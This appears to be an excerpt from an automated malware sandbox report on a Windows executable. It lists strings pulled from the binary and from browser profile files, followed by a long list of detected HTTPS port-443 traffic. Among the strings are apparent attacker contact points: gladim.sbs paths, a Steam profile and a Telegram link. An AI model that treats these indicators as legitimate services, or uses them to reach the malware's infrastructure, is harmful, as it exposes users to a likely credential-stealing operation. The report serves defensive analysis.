Source: mtbkkesfthae.exe, 00000000.00000003.1750624271.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724337064.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1721411841.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724943757.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1748404671.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1719993860.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1747678075.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1749262302.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1761729811.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1747096956.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1745740844.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1745397060.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1757233967.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1744589424.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1792328223.0000000000844000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1722881048.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1760316441.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1756674150.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1745256243.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1749141664.0000000000845000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1729996273.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/3
Source: mtbkkesfthae.exe, 00000000.00000003.1319981212.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/8Y
Source: mtbkkesfthae.exe, 00000000.00000003.1319981212.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/K
Source: mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/P4
Source: mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/b4mj
Source: mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/d
Source: mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/g
Source: mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/z4uj
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log1.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13377578868452520.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://open.spotify.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: mtbkkesfthae.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199803837316
Source: mtbkkesfthae.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199803837316g88paMozilla/5.0
Source: mtbkkesfthae.exe	String found in binary or memory: https://t.me/gv4dlp
Source: mtbkkesfthae.exe	String found in binary or memory: https://t.me/gv4dlpg88paMozilla/5.0
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: mtbkkesfthae.exe, 00000000.00000003.1243198579.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1295911554.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1366095985.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1272828397.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, FHJDBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.15.dr, content_new.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: edc7ae2f-9a87-43bc-b101-83955177c7da.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
